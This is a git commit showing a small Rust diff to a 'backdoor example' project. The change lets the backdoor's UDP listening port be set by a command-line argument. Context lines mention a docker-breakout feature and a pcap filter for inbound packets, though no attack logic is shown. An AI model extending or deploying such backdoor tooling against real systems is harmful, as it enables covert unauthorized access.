feat: added a way to specify port to listen on

the backdoor example always listened on port 54248 and did not allow for
configuration, but now it can be changed by passing in a command line argument
This commit is contained in:
Andrew Rioux 2023-05-28 15:17:09 -04:00
parent bd31c6457d
commit b770d53f57
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94

View File

@ -35,6 +35,8 @@ async fn handled_main() -> anyhow::Result<()> {
log::info!("Pubkey is good");
let port = std::env::args().skip(1).next().and_then(|a| a.parse::<u16>().ok()).unwrap_or(54248);
#[cfg(feature = "docker-breakout")]
unsafe {
let mut err_loc: i32 = 0;
@ -71,7 +73,7 @@ async fn handled_main() -> anyhow::Result<()> {
let mut interface = interface.activate()?;
interface.set_filter("inbound and udp port 54248", true, None)?;
interface.set_filter(&format!("inbound and udp port {port}"), true, None)?;
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not support ethernet")